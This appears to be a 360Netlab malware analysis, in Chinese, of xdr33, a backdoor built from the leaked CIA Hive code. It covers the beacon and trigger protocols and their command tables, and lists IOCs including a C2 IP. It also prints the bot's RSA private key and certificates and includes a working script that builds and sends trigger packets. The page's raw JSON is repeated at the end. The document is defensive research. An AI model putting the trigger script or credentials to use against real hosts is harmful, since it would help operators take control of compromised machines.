Beacon的主要功能是周期性的收集PID,MAC,SystemUpTime,进程以及网络相关的设备信息;然后使用bzip,XTEA算法对设备信息进行压缩,加密,并上报给C2;最后等待执行C2下发的指令 。
0x01: 信息收集
*
MAC
通过SIOCGIFCON 或 SIOCGIFHWADDR查询MAC
*
SystemUpTime
通过/proc/uptime收集系统的运行时间
*
进程以及网络相关的信息
通过执行以下4个命令收集进程,网卡,网络连接,路由等信息
0x02: 信息处理
Xdr33通过update_msg函数将不同的设备信息组合在一起
为了区别不同的设备信息,Hive设计了ADD_HDR,它的定义如下所示,上图中的“3,4,5,6”就代表了不同的Header Type。
typedef struct __attribute__ ((packed)) add_header {
unsigned short type;
unsigned short length;
} ADD_HDR;
那“3,4,5,6”具体代表什么类型呢?这就要看下图源码中Header Types的定义了。xdr33在此基础上进行了扩展,新增了0,9俩个值,分别代表Sha1[:32] of MAC,以及PID of xdr33。
xdr32在虚拟机中的收集到的部分信息如下所示,可以看出它包含了head type为0,1,2,7,9,3的设备信息。
值得一提的是type=0,Sha1[:32] of MAC,它的意思是取MAC SHA1的前32字节。以上图中的的mac为例,它的计算过程如下:
mac:00-0c-29-94-d9-43,remove "-"
result:00 0c 29 94 d9 43
sha1 of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805
sha1[:32] of mac:
result:c55c77695b6fd5c24b0cf7ccce3e4640
当所有的设备信息组合完毕后,使用bzip进行压缩,并在头部增加2字节的beacon_header_version,以及2字节的OS信息。
0x03: 网络通信
xdr33与Beacon C2通信过程,包含以下4个步骤,下文将详细分析各个步骤的细节。
* 双向SSL认证
* 获取XTEA密钥
* 向C2上报XTEA加密的设备信息
* 执行C2下发的指令
Step1: 双向SSL认证
所谓双向SSL认证,即要求Bot,C2要确认彼此的身份,从网络流量层面来看,可以很明显看到Bot,C2相互请求彼此证书并校验的过程。
xdr33的作者使用源码仓库中kaspersky.conf,以及thawte.conf 2个模板生成所需要的Bot证书,C2证书,CA证书。
xdr32中硬编码了DER格式的CA证书,Bot证书和PrivKey。
可以使用openssl x509 -in Cert -inform DER -noout -text查看Bot证书,其中CN=xdr33,这正是此家族名字的由来。
可以使用openssl s_client -connect 45.9.150.144:443 查看C2的证书。Bot,C2的证书都伪装成与kaspersky有关,通过这种方式降低网络流量的可疑性。
CA证书如下所示,从3个证书的有效期来看,我们推测此次活动的开始时间在2022.10.7之后。
Step2: 获取XTEA密钥
Bot和C2建立SSL通信之后,Bot通过以下代码片段向C2请求XTEA密钥。
它的处理逻辑为:
1.
Bot向C2发送64字节数据,格式为"设备信息长度字串的长度(xor 5) + 设备信息长度字串(xor 5) + 随机数据"
2.
Bot从C2接收32字节数据,从中得到16字节的XTEA KEY,获取KEY的等效的python代码如下所示:
XOR_KEY=5
def get_key(rand_bytes):
offset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15
return rand_bytes[(offset+1):(offset+17)]
Step3: 向C2上报XTEA加密的设备信息
Bot使用Step2获得的XTEA KEY 对设备信息进行加密,并上报给C2。由于设备信息较多,一般需要分块发送,Bot一次最多发送4052字节,而C2则会回复已接受的字节数。
另外值得一提的是,XTEA加密只在Step3中使用,后续的Step4中网络流量仅仅使用SSL协商好的加密加密套件,不再使用XTEA。
Step4: 等待执行指令(xdr33新增功能)
当设备信息上报完毕后,C2向Bot发送8字节的本周期任务次数N,若N等于0就休眠一定时间,进入下一个周期的Beacon Task;反之就下发264字节的任务。Bot接收到任务后,对其进行解析,并执行相应的指令。
支持的指令如下表所示:
Index
Function
0x01
Download File
0x02
Execute CMD with fake name "[kworker/3:1-events]"
0x03
Update
0x04
Upload File
0x05
Delete
0x08
Launch Shell
0x09
Socket5 Proxy
0x0b
Update BEACONINFO
网络流量示例
实际中xdr33产生的step2流量
step3中的交互,以及step4的流量
我们从中能得到什么信息呢?
1.
设备信息长度字串的长度,0x1 ^ 0x5 = 0x4
2.
设备信息长度,0x31,0x32,0x37,0x35 分别 xor 5得到 4720
3.
tea key 2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
4.
C2会确认BOT上报的设备信息长度,4052+668 = 4720,和第2点是能对应上的
5.
本周期任务数00 00 00 00 00 00 00 00,即无任务,所以不会下发264字节的具体任务
关于加密的设备信息,可以通过以下代码进行解密,以解密前8字节65 d8 b1 f9 b8 37 37 eb为例,解密后的数据为00 22 00 14 42 5A 68 39,包含了beacon_header_version + os+ bzip magic,和前面的分析能够一一对应。
import hexdump
import struct
def xtea_decrypt(key,block,n=32,endian="!"):
v0,v1 = struct.unpack(endian+"2L", block)
k = struct.unpack(endian+"4L",key)
delta,mask = 0x9e3779b9,0xffffffff
sum = (delta * n) & mask
for round in range(n):
v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask
sum = (sum - delta) & mask
v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask
return struct.pack(endian+"2L",v0,v1)
def decrypt_data(key,data):
size = len(data)
i = 0
ptext = b''
while i < size:
if size - i >= 8:
ptext += xtea_decrypt(key,data[i:i+8])
i += 8
return ptext
key=bytes.fromhex("""
2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
""")
enc_buf=bytes.fromhex("""
65 d8 b1 f9 b8 37 37 eb
""")
hexdump.hexdump(decrypt_data(key,enc_buf))
Trigger Task
Trigger主要功能是监听所有流量,等待特定格式的Triggger IP报文,当报文以及隐藏在报文中的Trigger Payload通过层层校验之后,Bot就和Trigger Payload中的C2建立通信,等待执行下发的指令。
0x1: 监听流量
使用函数调用socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ),设定RAW SOCKET捕获IP报文,再通过以下代码片段对IP报文处理,可以看出Tirgger支持TCP,UDP,报文Payload最大长度为472字节。这种流量嗅探的实现方式会加大CPU的负载,事实上在socket上使用BPF-Filter效果会更好。
0x2: 校验Trigger报文
符合长度要求的TCP,UDP报文使用相同的处理函数check_payload进行进一步校验,
check_payload的代码如下所示:
可以看出它的处理逻辑:
1.
使用CRC16/CCITT-FALSE算法计算报文中偏移8到92的CRC16值,得到crcValue
2.
通过crcValue % 200+ 92得到crcValue在在报文中的偏移值,crcOffset
3.
校验报文中crcOffset处的数据是否等于crcValue,若相等进入下一步
4.
校验报文中crcOffset+2处的数据是否是127的整数倍,若是,进入下一步
5.
Trigger_Payload是加密的,起始位置为crcOffset+12,长度为29字节。Xor_Key的起始位置是crcValue%55+8,将2者逐字节XOR,就得到了Trigger_Paylaod
至此可以确定Trigger报文格式是这样的:
0x3: 校验 Trigger Payload
如果Trigger报文通过校验,则通过check_trigger函数继续对Trigger Payload进行校验
可以看出它的处理逻辑:
1. 取出Trigger Payload最后2字节,记作crcRaw
2. 将Trigger Payload最后2字节置0,计算其CRC16,记作crcCalc
3. 比较crcRaw,crcCalc,若相等,说明Trigger Payload在结构上是有效的
接着计算过Trigger Payload中的key的SHA1,和Bot中硬编码的SHA1 46a3c308401e03d3195c753caa14ef34a3806593进行比对。如果相等,说明Trigger Payload在内容是也是有效的,可以进入到最后一步,和Trigger Payload中的C2建立通信,等待执行其下发的指令。
至此可以确定Trigger Payload的格式是这样的:
0x4: 执行Trigger C2的指令
当一个Trigger报文通过层层校验之后,Bot就主动和Trigger Payload中指定的C2进行通信,等待执行C2下发指令。
支持的指令如下表所示:
Index
Function
0x00,0x00a
Exit
0x01
Download File
0x02
Execute CMD
0x04
Upload File
0x05
Delete
0x06
Shutdown
0x08
Launch SHELL
0x09
SOCKET5 PROXY
0x0b
Update BEACONINFO
值得一提的是,Trigger C2与Beacon C2在通信的细节上有所不同。Bot与Trigger C2在建立SSL隧道之后,会使用Diffie-Helllman密钥交换以建立共享密钥,这把钥匙用于AES算法创建第二层加密。
实验
为了验证Trigger部分逆向分析的正确性,我们对xdr33的SHA1值进行了Patch,填入了NetlabPatched,Enjoy! 的SHA1,并实现了附录的GenTrigger代码,用以产生UDP类型Trigger 报文。
我们在虚拟机192.168.159.133运行Patch后的xdr33样本,构造C2为192.168.159.128:6666的Trigger Payload,并以UDP的方式发送给192.168.159.133。最终效果如下,可以看到xdr33所在的implanted host在收到UDP Trigger报文后,和我们预想中的一样,向预设的Trigger C2发起了通信请求,Cool!
联系我们
至此xdr33的分析告一段落,这是我们目前掌握的关于这个魔改攻击套件的情况。如果社区有更多线索,以及感兴趣的读者,可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IOC
sample
ee07a74d12c0bb3594965b51d0e45b6f
patched sample
af5d2dfcafbb23666129600f982ecb87
C2
45.9.150.144:443
BOT Private Key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ
mIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je
o17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI
4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK
yTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut
90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO
NljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG
aRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE
49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/
KVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf
0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk
Ito7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb
ZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu
YH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/
zygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8
aIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI
hQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd
+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC
7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi
FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj
Ge17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet
KV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf
7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD
poCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+
7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID
-----END RSA PRIVATE KEY-----
BOT Certificate
-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV
MR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l
ZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM
Bk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh
JlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0
alW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz
WtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv
c+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q
1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz
BcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV
BAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU
aGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2
aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB
MSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G
A1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B
AQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy
qend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P
o6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c
d707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3
ngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI
lHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==
-----END CERTIFICATE-----
CA Certificate
-----BEGIN CERTIFICATE-----
MIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB
MRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG
A1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl
cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv
bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr
3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg
3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d
hbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV
AV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf
tLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC
JzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb
8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0
/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl
MRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n
IGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw
HwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW
GXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G
CSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF
tLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6
u4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw
LCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//
kzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm
yRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX
-----END CERTIFICATE-----
附录
0x1 Decode_RES
import idautils
import ida_bytes
def decode(addr,len):
tmp=bytearray()
buf=ida_bytes.get_bytes(addr,len)
for i in buf:
tmp.append(~i&0xff)
print("%x, %s" %(addr,bytes(tmp)))
ida_bytes.put_bytes(addr,bytes(tmp))
idc.create_strlit(addr,addr+len)
calllist=idautils.CodeRefsTo(0x0804F1D8,1)
for addr in calllist:
prev1Head=idc.prev_head(addr)
if 'push offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:
bufaddr=idc.get_operand_value(prev1Head,0)
prev2Head=idc.prev_head(prev1Head)
if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:
leng=idc.get_operand_value(prev2Head,0)
decode(bufaddr,leng)
0x02 GenTrigger
import random
import socket
def crc16(data: bytearray, offset, length):
if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):
return 0
crc = 0xFFFF
for i in range(0, length):
crc ^= data[offset + i] << 8
for j in range(0, 8):
if (crc & 0x8000) > 0:
crc = (crc << 1) ^ 0x1021
else:
crc = crc << 1
return crc & 0xFFFF
def Gen_payload(ip:str,port:int):
out=bytearray()
part1=random.randbytes(92)
sum=crc16(part1,8,84)
offset1=sum % 0xc8
offset2=sum % 0x37
padding1=random.randbytes(offset1)
padding2=random.randbytes(8)
host=socket.inet_aton(ip)
C2=bytearray(b'\x01')
C2+=host
C2+=int.to_bytes(port,2,byteorder="big")
key=b'NetlabPatched,Enjoy!'
C2 = C2+key +b'\x00\x00'
c2sum=crc16(C2,0,29)
C2=C2[:-2]
C2+=(int.to_bytes(c2sum,2,byteorder="big"))
flag=0x7f*10
out+=part1
out+=padding1
out+=(int.to_bytes(sum,2,byteorder="big"))
out+=(int.to_bytes(flag,2,byteorder="big"))
out+=padding2
tmp=bytearray()
for i in range(29):
tmp.append(C2[i] ^ out[offset2+8+i])
out+=tmp
leng=472-len(out)
lengpadding=random.randbytes(random.randint(0,leng+1))
out+=lengpadding
return out
payload=Gen_payload('192.168.159.128',6666)
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(payload,("192.168.159.133",2345)) # 任意端口
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 概述\n2022年10月21日,360Netlab的蜜罐系统捕获了一个通过F5漏洞传播,VT 0检测的可疑ELF文件``ee07a74d12c0bb3594965b51d0e45b6f``,流量监控系统提示它和IP``45.9.150.144``产生了SSL流量,而且双方都使用了**伪造的Kaspersky证书**,这引起了我们的关注。经过分析,我们确认它由CIA被泄露的Hive项目server源码改编而来。**这是我们首次捕获到在野的CIA HIVE攻击套件变种**,基于其内嵌Bot端证书的**CN=xdr33**, 我们内部将其命名为**xdr33**。关于CIA的Hive项目,互联网中有大量的源码分析的文章,读者可自行参阅,此处不再展开。\n\n概括来说,xdr33是一个脱胎于CIA Hive项目的后门木马,主要目的是收集敏感信息,为后续的入侵提供立足点。从网络通信来看,xdr33使用XTEA或AES算法对原始流量进行加密,并采用开启了**Client-Certificate Authentication**模式的SSL对流量做进一步的保护;从功能来说,主要有```beacon,trigger```两大任务,其中**beacon**是周期性向硬编码的Beacon C2上报设备敏感信息,执行其下发的指令,而**trigger**则是监控网卡流量以识别暗藏Trigger C2的特定报文,当收到此类报文时,就和其中的Trigger C2建立通信,并等待执行下发的指令。\n\n功能示意图如下所示:\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_function.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_function.png\" class=\"kg-image\"/></a>\n\nHive使用**BEACON_HEADER_VERSION**宏定义指定版本,在源码的Master分支上,它的值``29``,而xdr33中值为``34``,或许xdr33在视野之外已经有过了数轮的迭代更新。和源码进行对比,xdr33的更新体现在以下5个方面:\n\n* 添加了新的CC指令\n* 对函数进行了封装或展开\n* 对结构体进行了调序,扩展\n* Trigger报文格式\n* Beacon任务中加入CC操作\n\nxdr33的这些修改在实现上来看不算非常精良,再加上此次传播所所用的漏洞为N-day,因此我们倾向于排除CIA在泄漏源码上继续改进的可能性,认为它是黑产团伙利用已经泄漏源码魔改的结果。考虑到原始攻击套件的巨大威力,这绝非安全社区乐见,我们决定编写本文向社区分享我们的发现,共同维护网络空间的安全。\n\n# 漏洞投递Payload\n\n我们捕获的Payload的md5为``ad40060753bc3a1d6f380a5054c1403a``,它的内容如下所示:\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_logd.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_logd.png\" class=\"kg-image\"/></a>\n\n\n代码简单明了,它的主要目的是:\n\n1:下载下一阶段的样本并将其伪装成``/command/bin/hlogd``。\n\n2:安装``logd``服务以实现持久化。\n\n# 样本分析\n\n我们只捕获了一个X86 架构的xdr33样本,它的基本信息如下所示:\n\n```\nMD5:ee07a74d12c0bb3594965b51d0e45b6f\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\nPacker: None\n```\n\n简单来说,**xdr33**在被侵入的设备运行时,首先解密所有的配置信息,然后检查是否有root/admin权限,如果没有,则输出``Insufficient permissions. Try again...``并退出;反之就初始化各种运行时参数,如C2,PORT,运行间隔时间等。最后通过**beacon_start**,**TriggerListen**两个函数开启Beacon,Trigger两大任务。\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_main.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_main.png\" class=\"kg-image\"/></a>\n\n下文主要从2进制逆向的角度出发,分析Beacon,Trigger功能的实现;同时结合源码进行比对分析,看看发生了哪些变化。\n\n### 解密配置信息\n\nxdr33通过以下代码片段**decode_str**解密配置信息,它的逻辑非常简单即**逐字节取反**。\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_decode.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_decode.png\" class=\"kg-image\"/></a>\n\n\n\n在IDA中可以看到decode_str的交叉引用非常多,一共了152处。为了辅助分析,我们实现了附录中IDAPython脚本 Decode_RES,对配置信息进行解密。\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_idaxref.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_idaxref.png\" class=\"kg-image\"/></a>\n\n解密结果如下所示,其中有``Beacon C2`` **45.9.150.144**,运行时提示信息,查看设备信息的命令等。\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_config.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_config.png\" class=\"kg-image\"/></a>\n\n\n\n# Beacon Task\n\nBeacon的主要功能是周期性的收集PID,MAC,SystemUpTime,进程以及网络相关的设备信息;然后使用bzip,XTEA算法对设备信息进行压缩,加密,并上报给C2;最后等待执行C2下发的指令 。\n\n## 0x01: 信息收集\n\n* MAC\n\n 通过```SIOCGIFCON``` 或 ```SIOCGIFHWADDR```查询MAC\n \n <a href=\"__GHOST_URL__/content/images/2022/12/hive_mac-1.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_mac-1.png\" class=\"kg-image\"/></a>\n\n* SystemUpTime\n\n 通过/proc/uptime收集系统的运行时间\n \n <a href=\"__GHOST_URL__/content/images/2022/12/hive_uptime.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_uptime.png\" class=\"kg-image\"/></a>\n\n* 进程以及网络相关的信息\n\n 通过执行以下4个命令收集**进程,网卡,网络连接,路由**等信息\n \n <a href=\"__GHOST_URL__/content/images/2022/12/hive_netinfo.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_netinfo.png\" class=\"kg-image\"/></a>\n\n## 0x02: 信息处理\n\nXdr33通过update_msg函数将不同的设备信息组合在一起\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_compose.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_compose.png\" class=\"kg-image\"/></a>\n\n为了区别不同的设备信息,Hive设计了ADD_HDR,它的定义如下所示,上图中的“3,4,5,6”就代表了不同的Header Type。\n\n```\ntypedef struct __attribute__ ((packed)) add_header {\n\tunsigned short type;\n\tunsigned short length;\n} ADD_HDR;\n\n```\n\n那“3,4,5,6”具体代表什么类型呢?这就要看下图源码中Header Types的定义了。xdr33在此基础上进行了扩展,新增了0,9俩个值,分别代表**Sha1[:32] of MAC**,以及**PID of xdr33**。\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_type.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_type.png\" class=\"kg-image\"/></a>\n\nxdr32在虚拟机中的收集到的部分信息如下所示,可以看出它包含了head type为0,1,2,7,9,3的设备信息。\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png\" class=\"kg-image\"/></a>\n\n值得一提的是type=0,Sha1[:32] of MAC,它的意思是取MAC SHA1的前32字节。以上图中的的mac为例,它的计算过程如下:\n```\nmac:00-0c-29-94-d9-43,remove \"-\"\nresult:00 0c 29 94 d9 43\n\nsha1 of mac:\nresult:c55c77695b6fd5c24b0cf7ccce3e464034b20805\n\nsha1[:32] of mac:\nresult:c55c77695b6fd5c24b0cf7ccce3e4640\n```\n\n\n当所有的设备信息组合完毕后,使用bzip进行压缩,并在头部增加2字节的beacon_header_version,以及2字节的OS信息。\n<a href=\"__GHOST_URL__/content/images/2023/01/hive_devicebzip.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_devicebzip.png\" class=\"kg-image\"/></a>\n\n## 0x03: 网络通信\nxdr33与Beacon C2通信过程,包含以下4个步骤,下文将详细分析各个步骤的细节。\n* 双向SSL认证\n* 获取XTEA密钥\n* 向C2上报XTEA加密的设备信息\n* 执行C2下发的指令\n\n### Step1: 双向SSL认证\n\n 所谓双向SSL认证,即要求Bot,C2要确认彼此的身份,从网络流量层面来看,可以很明显看到Bot,C2相互请求彼此证书并校验的过程。\n <a href=\"__GHOST_URL__/content/images/2022/12/hive_certi.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_certi.png\" class=\"kg-image\"/></a>\n \n xdr33的作者使用源码仓库中kaspersky.conf,以及thawte.conf 2个模板生成所需要的Bot证书,C2证书,CA证书。\n <a href=\"__GHOST_URL__/content/images/2022/12/hive_certconf.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_certconf.png\" class=\"kg-image\"/></a>\n \n xdr32中硬编码了DER格式的CA证书,Bot证书和PrivKey。\n <a href=\"__GHOST_URL__/content/images/2022/12/hive_sslsock.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_sslsock.png\" class=\"kg-image\"/></a>\n \n 可以使用``openssl x509 -in Cert -inform DER -noout -text``查看Bot证书,其中CN=xdr33,这正是此家族名字的由来。\n <a href=\"__GHOST_URL__/content/images/2022/12/hive_botcert.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_botcert.png\" class=\"kg-image\"/></a>\n \n 可以使用```openssl s_client -connect 